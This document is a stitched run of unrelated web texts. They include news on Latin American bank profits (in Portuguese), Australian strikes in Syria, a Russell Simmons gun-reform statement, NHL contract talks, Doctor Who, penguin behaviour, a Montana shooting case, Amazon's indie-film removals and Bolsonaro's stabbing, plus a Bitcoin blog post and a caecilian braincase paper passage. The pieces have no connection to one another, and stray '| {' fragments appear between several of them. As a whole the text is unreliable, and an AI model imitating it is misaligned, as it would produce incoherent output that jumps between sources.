Crédito, Getty Legenda da foto, A desaceleração e a recessão de economias na América Latina não parecem afetar a performance do sistema bancário
Ainda que em geral a bonança tenha começado há tempo para a banca latino-americana, quando a economia regional avançava a pleno vapor, os resultados atuais chamam a atenção de especialistas.
"O lucro, devo dizer, é um pouco surpreendente", reconhece Claudio Loser, ex-diretor para a América Latina do Fundo Monetário Internacional (FMI), em conversa com a BBC Mundo, o serviço em espanhol da BBC.
Então como explicar isso? E quanto mais essa festa bancária pode durar?
Negócio redondo
A despeito das características de cada sistema financeiro, que variam por tamanho e regulação, os latino-americanos têm pontos em comum, apontam analistas.
Um deles é que costumam cobrar juros altos pelo crédito ao consumo (no Brasil, por exemplo, a taxa anual para cartões de crédito acaba de atingir 350,79%).
Legenda da foto, Claudio Loser: o lucro dos bancos na região é "um pouco surpreendente"
"Você pode observar taxas de lucros muito altas (dos bancos latino-americanos) porque eles tiveram acesso a fundos muito baratos e emprestaram a taxas altas" diz Loser, diretor da consultoria Centennial Latin America, em Washington.
Os créditos ao consumo chegaram a crescer cerca de 20% por ano na região durante a última década, devido à expansão histórica da classe média, que atingiu 181 milhões de pessoas ou 34% da população total.
A quantidade de latino-americanos adultos com conta bancária passou de 39% do total de 2011 a 51% no ano passado, de acordo com o Banco Mundial.
Arturo Sánchez, analista de crédito da Standard & Poor’s (S&P) no México, avalia que as taxas de juros sobre o crédito na região refletem o risco assumido pelos bancos, que até agora, no entanto, evitar lidar com a alta inadimplência.
Crédito, Thinkstock Legenda da foto, Os bancos elevaram seus lucros à medida que tiveram acesso a mais clientes e a crédito nos últimos anos
"Os resultados líquidos se mantivem graças à capacidade dos bancos na América Latina de, em geral, manter níveis manejáveis de carteiras vencidas e perdas de crédito", apontou Sánchez.
Ele acrescenta que isso permitiu aos bancos evitar aumentos nas provisões, dinheiro destinado a absorver eventuais perdas por exposição ao crédito, o que deixa margens significativas para os lucros.
Trata-se, portanto, de um ciclo que parece se fechar de maneira quase perfeita para os bancos da região.
Mais juros, mais dinheiro
Ao mesmo tempo há circunstâncias específicas em alguns países que impulsionam o negócio financeiro.
Na Argentina e na Venezuela, por exemplo, o alto retorno dos bancos sobre o capital é atribuído aos elevados índices de inflação, que empurram os juros para cima.
O Brasil tem uma das taxas de juros real (descontada a taxa de inflação dos juros nominais) mais altas do mundo, que superou 9% na semana passada, quando a S&P retirou o país da categoria de grau de investimento.
Crédito, Thinkstock Legenda da foto, As altas taxas de juros praticadas por países da região são chave para entender a rentabilidade bancária
E se juros altos pressionam o custo de captação do dinheiro para todos, os bancos tendem a driblar o problema ao repassar esse custo aos clientes.
As quatro maiores instituições bancárias brasileiras (Bradesco, Santander, Itaú e Banco do Brasil) registraram lucros equivalentes a US$ 8,7 bilhões no primeiro semestre.
"Os bancos do Brasil são muito líquidos, estão ancorados em títulos públicos do governo e a taxa de juros subiu muito: isso também dá lucros de tesouraria", afirma João Augusto Frota Salles, analista da consultoria Lopes Filho, no Rio de Janeiro.
E agora?
Especialistas afirmam, contudo, que o panorama está mudando para a banca latino-americana.
A agência S&P, por exemplo, rebaixou a nota dos principais bancos do Brasil na semana passada, um dia após retirar do país o selo de bom pagador.
Em busca de recursos fiscais, o Brasil busca agora subir os impostos aos lucros bancários, o que, na avaliação da agência de análise de risco Fitch, pode desacelerar o crédito e, segundo políticos de oposição, impor mais custos ao consumidor final.
Crédito, BBC World Service Legenda da foto, O recuo da economia e do crédito ameaça os ganhos do setor bancário na região
Também se nota em outros países essa mudança de ventos que chegou com o enfraquecimento da economia e do consumo.
Os lucros bancários se desaceleraram no primeiro semestre no Chile e na Costa Rica, caindo 13% e 19%, respectivamente, na comparação com o mesmo período de 2014.
Especialistas descartam que existam problemas graves no horizonte da região, que, em geral, elevou a supervisão bancária e diminuiu riscos após crises no passado.
Apontam, porém, que a rentabilidade dos bancos latino-americanos poderá cair à medida que as economias forem perdendo vigor e aumentando suas carteiras vencidas e créditos de difícil recuperação. | {
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Australian fighter jets have carried out their first air strike on Islamic State (IS) targets inside Syria, Defence Minister Kevin Andrews says.
Three air strikes were conducted in the country, including one on an oil collection point, another on an IS tactical unit and a third on an IS armoured personnel carrier, according a statement issued by the US military's Central Command.
Mr Andrews confirmed an Australian F/A-18 Super Hornet fired a missile during the operation.
"Two days ago, the Air Task Group completed its first strike against a Daesh (IS) strike in eastern Syria, destroying an armoured personnel carrier," he said.
"Two of our Hornets identified the personnel carrier, which was hidden in a Daesh compound.
"That information was reported back to the combined operations centre by our Wedgetail command and control aircraft, and upon receiving authorisation to proceed, one of the Hornets employed a precision guided weapon to destroy the target."
Breaking news in your inbox Subscribe to get ABC News delivered to your email, including alerts on major breaking stories, plus the day's top news and analysis.
Mr Andrews said Australian fighter jets were never in any risk of enemy fire during the operation, and that strict controls were in place to limit civilian casualties.
"This was done from a distance or height that preserved the safety of the Australian aircraft," he said.
"We work within very strict rules of engagement, and those rules of engagement are to ensure as far as possible that we don't have unwanted civilian casualties.
"Sorties are being flown over Syria and Iraq, the majority of our missions are still over Iraq and we're doing them on a very regular basis."
US Central Command released information on the air strike overnight, and the Minister was asked why the Australian government delayed releasing details of the operation.
"We don't normally announce the missions that occur almost on a daily basis," Mr Andrews said.
"On this occasion, I was planning to make a ministerial statement, which is a six-monthly update of our operations in the Middle East and that's due today."
The US statement, issued by the Combined Joint Task Force in charge of Operation Inherent Resolve, confirmed Australia was among the nations whose warplanes had carried out the air strikes inside Syria.
The other countries listed as having taken part to date were Bahrain, Canada, Jordan, Saudi Arabia, Turkey, the UAE and the US.
The statement also listed 15 air strikes which had been carried out against IS in Iraq.
Last week the Federal Government announced that Australia's air campaign against IS would be expanded beyond Iraq to include parts of Syria, where Islamic State militants have seized large areas of territory amid a raging civil war.
Russian president Vladimir Putin has promised to continue offering military support to Bashar al-Assad's government and has urged other countries to follow suit, after the US and Europe voiced concern over Russia's escalating military support for the Assad regime. | {
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My deepest prayers go out to the victims and their families and all the people whose hearts were broken in Newtown. As a father of two beautiful girls, I cannot begin to understand the loss that so many feel in that small, Connecticut town. It is beyond rational comprehension. I will continue to pray for those who have been touched by this tragedy and use any power I might have to help them heal.
This nation needs healing not just in Connecticut, but in every small town, big city and all fifty states that have been affected by senseless gun violence that has afflicted our country for decades. There is no time to wait until the next tragedy happens, because it already did. In the twenty-four hour period since the shooting at the Sandy Hook Elementary School, ten people were shot in the city of Chicago. Another weekend. Another massacre on the streets of the Windy City.
Unfortunately, every day in America we have “mass shootings,” just most of them are not reported in the news. This is not a contest to measure the horror of any of these tragedies, but rather should be a wake-up call to address them once and for all. Not tomorrow. Not the day after tomorrow. TODAY.
There is an obvious breaking point in a society, and we passed that a long time ago. Every other civilized country has created sensible laws that do not allow weapons of war to be in the hands of citizens. When we view a nightmare like the one in Newtown, let’s not see it in a vacuum, as the killing is this country has continued. Don’t let the 50 victims (kids) that may get shot in Chicago in any given weekend (without national debate) die or be injured in vain either. Include them in your prayers and discussions, as they are human beings as well.
This is about guns of course, however mental health, lack of opportunity and other factors weigh in when we talk about the other half of the reason for these catastrophes. However, we can all agree that the rise in gun violence is a problem that we can work on together today.
I’m hopeful that we can begin a serious dialogue that will lead to action in gun reform beginning with the re-instatement of the 1993 Assault Weapons Ban passed by President Clinton. It was allowed to expire in 2004 by President Bush and it is time to bring it back. I implore President Obama to push for this piece of legislation as quickly as he possible can. I have long admired the work of Mayor Mike Bloomberg, and he has been a champion for gun reform. I join him in demanding that all of our politicians have a plan to save our babies. His work should lead the way, and President Obama should follow.
Now is the time for public outrage. Our president and every politician need to hear our voices. When a seven year old is shot and killed in Newtown, Connecticut and a seven old shot is shot and killed in Chicago, Illinois, the disease of violence that has plagued the United States of America must be cured.
~Russell Simmons
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Bizzabo, BillGuard, Fiverr, Wix, Kenshoo – the list goes on for Israeli high-tech firms with a New York City presence. After all, the Israeli startup community has taken a big bite out of the Big Apple.
Until a few weeks ago, there wasn’t one specific forum to go to where you could find everyone.
Enter IsraeliMappedinNY the latest service to map start-up companies operating in a city. Guy Franklin, a senior auditor/consultant at Ernst & Young’s New York office, the creative force behind the site, cites Mapped in Israel and Made in NY as his inspirations.
Franklin had previously worked on the Mapped in Israel version of the mapping service.
The mapping trend began in May 2012, when New York launched Made in NY and put little interactive computer icons on a city map. Each icon represented a startup company operating in the city.
Days later, whiz kid Ben Lang responded with Mapped in Israel, an Israeli version of the website pinpointing Israel’s many startups all around the country.
Both map sites – the one in New York and the one in Israel – were immediately bookmarked by thousands.
The startup maps were the Wikipedias of high-tech companies. With a click of the mouse, you could see where the company is located, what they do, who runs them and whether they’re hiring.
The maps have been used to keep the high-tech community in touch. They’re also a great go-to-source for companies seeking investors or vice versa.
Newcomer IsraeliMappedinNY “converges New York startups that were either founded by Israeli entrepreneurs or are present in Israel,” writes Franklin on his decision to create the site. “Through this site, the Israeli startup community can stay connected.” | {
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According to Ben Kuzma of the Vancouver Province, Brock Boeser's agent Ben Hankinson "has an appetite for a four-year extension at $7 million annually" for his client this summer.
A four-year, $28 million contract for Boeser would top that of San Jose Sharks forward Timo Meier, who signed a four-year, $24 million deal in July and was noted to be a comparable to Boeser by Canucks general manager Jim Benning on Monday.
“Those are some of the names we’ve used,” Benning said of Meier and currently unsigned Winnipeg Jets restricted free agent Kyle Connor. “They (Boeser’s camp) have been reasonable and we’re continuing to talk to get to some common ground. I’m hopeful to get something done before camp, but we’re not there yet.”
Boeser had 26 goals and 56 points in 69 games last season, but as Kuzma notes, on pro-rated basis to 82 games, the 22-year-old would have had 66 points, equal to both Meier and Connor.
Benning noted, however, that Boeser is unlikely to sign a deal with the same structure as Meier, whose back-loaded deal will see him earn $10 million in the final year, setting him up for a qualifying offer above that when he hits restricted free agency again in 2023-24.
“That scares me a bit,” Benning said of the structure of Meier's deal.
Per CapFriendly, the Canucks have just $5.06 million in cap space with Boeser and Nikolay Goldobin still in need of new deals. Benning said Monday he's not concerned about the cap crunch and noted he has the permission of ownership to demote veterans.
“Guys who deserve to be here will be here and we’ll probably have to make some tough decisions,” Benning said when asked if the club would be willing to demote veterans.
“That could happen but we have options and LTIR and different options. A lot depends on camp.”
Kuzma notes the team could free $3 million in cap space by placing Antoine Roussel on long-term injured reserve. Roussel underwent surgery for a torn ACL in April. | {
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If your boyfriend or husband is struggling with a home repair go ahead and call a professional for him. He'll appreciate the help.
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Steven Moffat has confirmed he stuck with Doctor Who through the end of 2017 to save the show's annual Christmas special.
Broadchurch writer Chris Chibnall is set to replace Moffat as showrunner for the next full series in 2018, but neither writer had originally planned to write this year's festive episode.
"There was one big glitch, which was Christmas," Moffat told Digital Spy. "I was going to leave at the end of series 10 – I had my finale planned and what I wanted to do with it. I had a good notion of that.
Albert L. Ortega / Getty Images
"Then I learned at a drinks event somewhere that Chris didn't want to start with a Christmas, so at that point they were going to skip Christmas. There'd be no Christmas special and we would've lost that slot."
Moffat suggested that, if Doctor Who had skipped Christmas in 2017, it might never have got its much-coveted December 25 slot back.
"Doctor Who would've lost that slot if we hadn't [done a special] because Christmas Day is now so rammed. So I said, probably four glasses of red wine in, 'I'll do Christmas!' and then had to persuade Peter [Capaldi] that's how we were leaving.
BBC
"Then I had to work out how you could get mortally injured in one episode and spend an hour regenerating on Christmas Day, which I hopefully have done!"
But while a changeover of showrunners is an epic event for fans, Moffat further admitted that handing the reins over to Chibnall is "incredibly prosaic" in many ways.
"It's like handing over any job," he insisted. "Though Chris was incredibly, and is incredibly, fastidious about not wanting to seem to lurk behind me, ready to knife me in the back!
"I never felt that – he was absolutely welcome to be there any time he wanted, I had no problem with it all. He's a good friend."
Thanks to The Moff, Doctor Who will return to BBC One this Christmas with 'Twice Upon a Time', in which our current Doctor (Capaldi) goes on one last adventure, teaming up with his very first incarnation (David Bradley).
The series is then expected to resurface in autumn 2018, with Jodie Whittaker as the new Doctor.
Want up-to-the-minute entertainment and tech news? Just hit 'Like' on our Digital Spy Facebook page and 'Follow' on our @digitalspy Twitter account and you're all set.
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This is a brief post about network effects. They exist in various forms and at various depths in different fields and today we will look at Bitcoin through this prism. I must, at this point, thank Chris Dixon for introducing the '4-sided market' to my vocabulary. Today, I will posit that Bitcoin is actually a 6 sided market.
(1) The basic example of a powerful 1-sided network effect is a social network. The more people on it, the more valuable it is for others to be on it. It can, however, be broken by a competitor that provides a more valuable service to one group, the users, who might then migrate en-masse (see Facebook v. MySpace).
(2) Successful 2-sided markets like eBay or Craigslist are significantly more difficult to disrupt. Customers want to be there because vendors are there; vendors want to be there because customers are there. To break them apart, you have to simultaneously have a better value proposition for both parties, otherwise nobody moves. That is why Craigslist, with limited innovation, is still a dominant website, leveraging its early 2-sided lead.
My hypothesis is that the leading cryptocurrency (which, as of today, is clearly Bitcoin, but in theory any other cryptocurrency that gains a big lead) has actually a six sided market working in its favor, with six-sided network effects that will be very difficult to disrupt:
Side 1: Merchants will adopt Bitcoin because more customers hold Bitcoins
Side 2: Customers will adopt Bitcoin because more merchants accept Bitcoins
Side 3: Developers will adopt Bitcoin because more customers and merchants use Bitcoins. Note that in a complex regulated financial product like Bitcoin, this does not only relate to the applications existing, but reaching scale, going through trial-by-fire, proving their trustworthiness, gaining regulatory approval and so on. This is similar to the dynamics of an OS platform.
Side 4: All the parties in 1-3 adopting Bitcoin creates demand for the currency, causing its price to rise, making mining rewards more valuable, drawing miners and their computational power to the currency and therefore making the blockchain more secure against a fatal 51% attack. This makes it more appealing to developers and investors at a minimum.
Side 5: Adoption by the ecosystem plus the security of a strong blockchain, draws pure financial investors to the currency, who push the price up, drawing more miners.
Side 6: More adoption plus better financial institutions ("Side 3") means more liquidity running through the exchanges that exchange Bitcoins back and forth to sovereign currency, which reduces the spreads to exchange into/out of the currency and making it more cost-effective for customers, merchants, developers and investors to use it. (Spreads to sovereign currencies are the main transaction costs in any cryptocurrency, far outweighing the currencies internal transaction fees).
And the cycle repeats.
Summary
Each one of the six sides reinforces at least one or more of the other sides. In aggregate, it is a superb setup of market incentives for the first currency to hit escape velocity. It is as if, by buying stock in eBay the company, you magically gave eBay a direct cost and security advantage in executing transactions that other auction sites could not match, that drew more customers to it, that raised its stock price and so on.
I can't guarantee of course that Bitcoin will maintain its lead and there might be a technical flaw that has been uncovered to date. I will state with some confidence however that Bitcoin's 'lead' over other alt-coins will not be easily disrupted by other non-state backed coins and certainly not by small feature tweaks.
The network effects are very strong in this one.
For the full bitcoin series: ledracapital.com/bitcoin
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Important disclaimer: ledracapital.com/btcdisclaimer | {
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Biologists uncover a scurrilous sex trade on the most unlikely of continents"If they're going to have a quickie with another guy, they have to do it on the sly," observes Lloyd Spencer Davis, an ornithologist from the University of Otago in New Zealand, who with colleague Fiona Hunter recently titillated the world of science with a rather shocking discovery: After 1,700 hours of note-taking on some very cold antipodal ice, the biologists concluded that among Antarctica's Adélie penguins flourishes a lively and salacious sex trade.The hanky-panky begins with stones, the local nest-building material that also serves as the Antarctic equivalent of hard cash. When an Adélie couple discovers that it has an inadequate stone stash, the female waits for her partner to begin staring off into space — the penguin version of watching Monday Night Football — and then sneaks away to flirt the tuxedo off any bachelor who boasts a surfeit of stones. If he responds to her seductive head-bobbing and coquettish glances, they get down to business, and at the conclusion of the affair the courtesan is rewarded with a stone.Davis and Hunter recently published their revelations in Auk, a journal put out by the American Ornithologists' Union, which is typically known for less lascivious subjects (à la "Fat Storage in Male Willow Warblers"). The pair took an equally racy walk on the wild side in the June issue of the Australian bird journal Emu, with an exposé on penguin homosexuality. And in October, Davis will dash back to the ice cap for an even more nuanced analysis of Antarctica's oldest profession: He's wondering whether penguin promiscuity could be inspired by the prospect of early death. | {
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A suspect in a shooting at the Rimrock Mall parking lot Saturday appeared in court Tuesday.
Bryan Travis Antelope, 23, faces six felony and two misdemeanor counts in the case: four counts of assault with a weapon, one count of tampering with evidence, one count of criminal endangerment and two counts of criminal mischief. The last two are misdemeanors.
Judge David A. Carter set Antelope's bond at $250,000 during the hearing in Yellowstone County Justice Court.
Billings police responded to the mall parking lot at 2 a.m. on Friday after witnesses reported someone shot at them. Five people were inside two vehicles in the parking lot. Officers noted a dent in one driver's side door where a bullet had hit, according to court documents. A tire in the other car was blown from a shot.
Officers took a description and soon found Antelope walking in the parking lot of a Phyllis Lane apartment complex, charges state.
While officers were stopping Antelope, another man got out from under a car and ran, court documents state. Officers caught him and found a handgun near the car under which he hid. | {
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Hundreds of filmmakers report that their independent films have been deleted by Amazon Prime Video Direct, and with no defined explanation nor warning. What is the reason for that?
Call for action against Amazon
Today I stumbled upon a special post created by an ARRI Alexa and Amira User Group. The post was a call for action to sign a petition against Amazon for their decision to eliminate thousands of indie films: “Prime Video Direct has just arbitrarily purged tons of indie films w/o warning, denying any appeals, & ignoring ALL e-mails. They purged highly rated films & marginalized content creators. To teach Amazon.com that discrimination & censorship is unacceptable, sign this petition. The post is linked to TheNextWeb article that reports that recently conducted a mysterious purge affecting thousands of films and hundreds of filmmakers.”
Prime Video Direct has just arbitrarily purged tons of indie films w/o warning, denying any appeals, & ignoring ALL e-mails
Mass of indie films was deleted by Prime Video Direct service
It appears that Amazon has decided, out of the blue, to delete tons of indie films, without any warning to creators. Filmmakers who worked very hard and poured their hearts and souls into their labor of love passion projects, discovered surprisingly that their masterpiece has gone from the service.
Filmmaker Henrique Couto told TNW (TheNextWeb): “Last night many of my films, including two that had just passed a review by them were taken down, but this time they were taken down with no option to attempt to republish or appeal. I was also never informed about them being taken down, Prime Video Direct never informs you when your films are down, they are just down until you notice it.”
Amazon’s foggy response
Henrique has contacted Amazon Video Direct for an explanation and got this answer:” We are always listening to customer feedback and iterating on their behalf. During a quality assurance review, we found that your titles contain content that does not meet our customer content quality expectations. This means a regular multi-factor review of the content we make available as Included with Prime and this may mean the removal of content which does not meet that bar from time to time. As a result, all offers for your titles that have been removed will not be made available as “Included with Prime” or to Buy/Rent on Amazon. Thanks for using Prime Video Direct.”
Last night many of my films, including two that had just passed a review by them were taken down, but this time they were taken down with no option to attempt to republish or appeal Filmmaker Henrique Couto
Elimination of approved content
From Amazon’s answer, we can assume that the service is purging its pool of films. But why? The excuse quoted above is absurd since Henrique’s films were filtered and underwent a lengthy cross-examination process before they have been approved by Amazon. Furthermore, let’s suppose that after reexamination Amazon decides to remove the film. In that case, why haven’t they notified the creators?
During a quality assurance review, we found that your titles contain content that does not meet our customer content quality expectations Amazon Prime Video Direct
Why is Amazon breaking its oath?
Amazon contributes and encourages independent cinema, contrary to Hulu and Netflix, as quoted on Amazon Video Direct website: ”Helping studios, distributors, and independent filmmakers reach audiences worldwide.” so why is Amazon breaking its oath? There is no straight answer for that nor formal and authentic response from Amazon.
Petition against Prime Video Direct
The independent filmmaking community has created a petition to “Stop the Death March Of Independent Film brought on by Amazon.com! “. The petition was created two weeks ago and now it needs your help, so get in and sign.
Services like Amazon Video Direct are crucial to the filmmaking community since it allows us the appropriate stage to show our works, gather an audience and make some income so we can continue to do what we love the most – to make films to our audience.
Press here to sign the petition.
What do you think the reason for Amazon’s purge? Enlighten us! | {
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Morphology of the Braincase of Eocaecilia Micropodia
The holotype of Eocaecilia micropodia (MNA V8066) preserves a virtually complete skull and articulated lower jaws (Figure 1). Micro-computed tomography (µCT) confirms that the braincase of Eocaecilia micropodia consists of two bones (Figure 2A–C), similar in general morphology to the two composite bones comprising the braincase in extant caecilians, i.e., the sphenethmoid and the os basale [32]. The sphenethmoid of E. micropodia has relatively long lateral walls that make up more than 50% of the preserved length of the sphenethmoid (Figure 2A). The dorsal sutural surfaces for connecting to the dermal skull roof appear to be narrow, but it is difficult to determine whether the dorsal margins of the lateral walls are broken or are preserved in their natural state.
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larger image TIFF original image Download: Figure 2. The braincase and middle ear ossicle of Eocaecilia micropodia as revealed by µCT. A–C, three-dimensional digitally segmented braincase of the holotype (MNA V8066) in dorsal, left lateral and ventral views, respectively, with the sphenethmoid (orange) and the os basale (blue). D–E, surface renderings of an isolated braincase referred to E. micropodia (MNA V8063) in dorsal and ventral views, respectively. The alternative hypotheses of foramen identity are depicted in blue and green. F–H, three-dimensional digitally segmented middle ear ossicle of E. micropodia (MNA V8066) in dorsal, left lateral, and ventral views respectively. This element is termed the stapes-quadrate by Jenkins et al. [14] because of the hypothesized fusion of these two elements. Abbreviations: ant., antotic region; ant.w., antotic wall; a.l.p., anterolateral process; d.s., dorsal surface of the otic capsule; f.c.a., foramen for the carotid artery; f.d.v., foramen for a dorsal vein; f.j., jugular foramen; f.s., stapedial foramen; f.v., fenestra vestibuli; f.1, foramen 1 (see text for interpretation); f.2, foramen 2 (see text for interpretation), f.V mx,md , foramen for the maxillary plus mandibular trunk of the trigeminal nerve; f.V op , foramen for the ophthalmic branch of the trigeminal nerve; n.s., nasal septum; oto., otic-occipital complex; o.ca., otic capsule. https://doi.org/10.1371/journal.pone.0050743.g002
The anterolateral corners of the main body of the sphenethmoid bear robust, ossified, anterolaterally-directed processes (a.l.p.; Figure 2A,C) that strongly resemble the condition seen in many extant caecilians [28]. The data acquired from µCT show these to be longer than depicted in the reconstruction of Jenkins et al. [14]. Jenkins et al. [14] identified two foramina located within each anterolateral process of the sphenethmoid in E. micropodia. The first, a large foramen located in the base of the process, was justifiably identified as transmitting the ophthalmic branch of the trigeminal nerve (f.V op ; Figure 2C), based on observations of consistency of this arrangement in extant caecilians [27]. An additional foramen located dorsal to that for the ophthalmic branch of the trigeminal nerve was identified as a foramen transmitting a vessel. This foramen is not visible in MNA V8066, but is present in MNA V8059. The interpreted identity of this second foramen as a vascular foramen is reasonable given the similarity with the condition seen in several extant caecilians [14]. An alternative interpretation may be that the superficial ramus of the facial nerve splits from an anastomosis with the ophthalmic branch of the trigeminal nerve prior to entering the anterolateral process of the sphenethmoid, resulting in a second foramen, as seen in Geotrypetes seraphini and Herpele squalostoma [27], [28].
A dorsomedial process (mesethmoid of some authors [15]) like that of extant caecilians was not seen in the µCT data. If such a process were present, but not preserved in any specimen, the positional relationship between the sphenethmoid and dermal skull indicates it would have been located just deep to the frontals. Because there is no fontanelle between the frontals, dorsal exposure of the sphenethmoid on the skull roof is precluded.
Anteriorly the sphenethmoid is completed by a wall that separates the nasal capsules from the brain cavity, as seen in extant caecilians. The µCT reconstruction reveals that the anterior wall is perforated by two pairs of foramina (f.I D and f.I V ; Figure 3A, B). The paired dorsal and ventral anterior foramina lie close to the midline of the sphenethmoid. These are interpreted here, based on similarity with the condition seen in extant caecilians (Figure 3C), as serving the olfactory nerve. The paired dorsal and ventral foramina suggest the olfactory nerve was bifurcated into dorsal and ventral trunks upon emergence from the brain, as it is in all extant caecilians [27], [33].
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larger image TIFF original image Download: Figure 3. Identification of paired dorsal and ventral foramina, serving the likely transmission of the paired trunks of the olfactory nerve, similar to the condition seen in extant caecilians. A, µCT image of a transverse section through the level of the anterior sphenethmoid in E. micropodia (MNA V8066), showing the location of dorsal and ventral foramina in the anterior wall of the sphenethmoid. B, posterior view of the three-dimensionally segmented sphenethmoid of E. micropodia, further showing the locations of the anterior foramina interpreted here as those serving the dorsal and ventral trunks of the olfactory nerve. C, posterior view of the three-dimensionally segmented sphenethmoid of the extant caecilian Dermophis mexicanus (UMMZ 219030), showing the location of comparable foramina known to transmit the trunks of the olfactory nerve [14]. Abbreviation: f.I D , foramen for the dorsal branch of the olfactory nerve; f.I V , foramen for the ventral branch of the olfactory nerve. https://doi.org/10.1371/journal.pone.0050743.g003
The nasal region is represented by an ossified short, robust nasal septum (n.s.; Figure 2B). It is not known whether the tip of the nasal septum is complete or broken. A broad dorsal sutural surface extends anteriorly from the main body of the sphenethmoid to over the nasal septum. It tapers sharply in width towards the tip (Figure 2A). The ventral margin of the nasal septum is narrow. There is no evidence of sola nasi in E. micropodia.
The antotic walls (or pleurosphenoid of some authors [23]) are long and subparallel in dorsal view in E. micropodia (ant.w.; Figure 2A). The dorsal margins of the antotic walls appear incomplete and therefore the nature of the dorsal sutural surface is unknown. The anterior margins of the antotic walls may also be incomplete in the holotype of E. micropodia, but Jenkins et al. [14] describe a concave anterior margin, likely corresponding to the posterior margin of the optic foramen, as in extant caecilians [28].
Much of the antotic region is poorly preserved in the holotype specimen (ant.; Figure 2B). However, the right side of the specimen consisting of the isolated braincase (MNA V8063) yields some additional information (Figure 2D, E). There are three larger foramina present. Foramen one (f.1; Figure 2E) is located dorsally, just anterior to the otic capsule. A slightly larger second foramen is present ventral to this one (f.2; Figure 2E). The third foramen (f.3, Figure 2E) is located ventral and slightly posterior to the first two, along the anteroventral margin of the otic capsule. The latter two (f.2 and f.3; Figure 2E) were identified by Jenkins et al. [14] as those pertaining to the trigeminal and facial nerves, respectively. The location of foramen one occurs in a similar location to the foramen seen among the extant forms to transmit a dorsal vein [27], which may be the case for E. micropodia as well. An alternative interpretation is one in which the two trunks of the trigeminal nerve, the maxillary plus mandibular trunk and the ophthalmic trunk, exit the braincase from foramen one and two, and the facial nerve from foramen three (Figure 2E). An additional foramen serving a dorsal vein may have been present but is not preserved by the broken dorsal portion of the wall. Given the relative positions and sizes of the foramina, in comparison to those seen in extant caecilians, the latter hypothesis is preferred here and is most similar to the condition seen in rhinatrematid, dermophiid, and siphonopid caecilians (Pattern 1 of Maddin [27]). A small, fourth foramen is present in the antotic region, located anterior to the three just described (f.c.a.; Figure 2E). A groove runs anteriorly from this foramen, and it was reasonably identified as that for the anterior branch of the internal carotid artery [14]. A similarly located foramen serves this function in extant caecilians.
The otic-occipital complex of the braincase (oto.; Figure 2B) is very similar in morphology to that of most extant caecilians. The dorsal surface of the complex forms the roof of the posteriormost portion of the brain cavity (d.s.; Figure 2A). The surface on each side tapers in width towards the midline. In E. micropodia, however, the surface remains relatively broad in comparison with that of most extant caecilians. The dorsal surface of the otic-occipital complex is slightly concave on either side. It is unclear whether the postparietals (plesiomorphic, discrete ossifications posterior to the parietals) contribute to the occipital surface, or if the entire occipital surface is composed only of the braincase, similar to the condition seen in basal caecilians such as Rhinatrema bivittatum and Epicrionops bicolor [28]. It is also unclear from the µCT data whether the anterior margin of the dorsal surface bears a thin sutural surface that receives the postparietals in E. micropodia, similarly to that which receives the parietals in most extant caecilians, where postparietals are presumed lost. The lateral surface of the otic capsule is occupied by a large, laterally facing fenestra vestibuli. The occipital condyles are continuous in profile with the posterior margin of the otic-occipital complex in the holotype specimen (o.ca.; Figure 2B and E). In the isolated braincase the condyles appear somewhat more posteriorly protuberant (Figure 2D), but the incomplete posterior margins of the otic capsules may give an inaccurate appearance of condyle protrusion. The condyles, however, are small in comparison to those of most extant caecilians. A jugular foramen is present between the otic capsule and the occipital condyle (Figure 2E).
The anterior portion of the floor of the os basale is triangular in outline (Figure 2C), similar to the condition seen in Rhinatrema bivittatum. The floor extends to reach the tip of the preserved portion of the nasal septum. Jenkins et al. [14] described the presence of three depressions in the floor of the brain cavity: one posterior depression and a pair of anterior depressions. The posterior depression likely corresponds to that seen in extant caecilians for the hypophysis of the brain, and the anterior pair of depressions likely corresponds to those associated with the large cerebral hemispheres of the brain, also seen in extant caecilians [27]. Well-developed, wing-like basicranial articulations are absent from E. micropodia. Also absent is a well-defined muscle attachment site on the ventral surface of the otic-occipital complex (Figure 2) that is often present in extant caecilians.
The structures of the middle ear are intimately associated with the braincase of tetrapods and are therefore given consideration here. Eocaecilia micropodia possesses an atypical configuration of bones in the middle ear region, making interpretation of the homology of elements difficult. A large element applied to the lateral surface of the otic capsule with a discrete foramen and jaw articulation was interpreted by Jenkins et al. [14] as a fusion of the stapes and quadrate (i.e., the stapes-quadrate; Figure 2F–H). An additional element resembling a small disc-like bone, closely associated with the fenestra vestibuli and stapes-quadrate, was interpreted as an operculum [14]. An alternative hypothesis is one in which the element identified as the operculum is the stapes, and the larger element consists of the quadrate alone [14], [16]. | {
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SAO PAULO/JUIZ DE FORA, Brazil (Reuters) - Brazil’s presidential race was thrown into chaos on Friday with the far-right front-runner Jair Bolsonaro in serious but stable condition in an intensive care unit after being stabbed at a rally, his wound severe enough that his son said he was unlikely to be able to return to campaigning before the Oct. 7 vote.
Bolsonaro, a congressman, was knifed in the stomach while being carried atop supporters’ shoulders in a street rally on Thursday and was being treated at a Sao Paulo hospital. A Tweet posted on Bolsonaro’s verified account said he was “doing well and recuperating.”
However, Flavio Bolsonaro, Jair’s son, said in a video on his verified Facebook page Friday afternoon that his father was in a “delicate situation and has trouble speaking.”
“He is recuperating and he probably will not be able to head out into the streets in this campaign,” said Flavio Bolsonaro. “He cannot go to the streets, but we can.”
A spokesman for the Bolsonaro campaign did not immediately return a request for comment.
The attack further clouds Brazil’s most unpredictable election in three decades. Corruption investigations have jailed scores of powerful businessmen and politicians in recent years, and alienated infuriated voters.
Bolsonaro, 63, has for years angered many Brazilians with extreme statements, but is also seen by his many supporters as a politically incorrect gust of fresh air in a rotten system.
He has repeatedly said the country’s notoriously violent police should increase their killing of suspected drug gang members and armed criminals.
That plays well with wealthier voters, but is terrifying for the 50 percent of Brazilians who said in a 2017 Datafolha poll they feared being victims of police violence.
Surveys consistently give Bolsonaro around 22 percent in simulated first-round votes. However, those polls find he would badly lose to most rivals in the likely event of a runoff, which takes place if no candidate wins a majority in the first ballot.
Slideshow ( 7 images )
ELECTION BOOST?
Some Bolsonaro backers and analysts, especially in financial markets, forecast the attack could give Bolsonaro a huge boost. They argue it will draw in some of the 28 percent of voters who say they are undecided or will not vote for anyone.
“I just want to send a message to the thugs who tried to ruin the life of a family man, a guy who is the hope for millions of Brazilians: You just elected him president. He will win in the first round,” Flavio Bolsonaro, said earlier on Friday.
Carlos Melo, a political scientist with Insper, a Sao Paulo business school, said Bolsonaro may gain some votes. But he doubted there would be a big shift his way, especially given that 44 percent of those surveyed in the latest Ibope poll say they would never cast a ballot for Bolsonaro, the stiffest rejection for any candidate.
“I see no reason why voters who have previously said they reject him would now automatically support him,” Melo said.
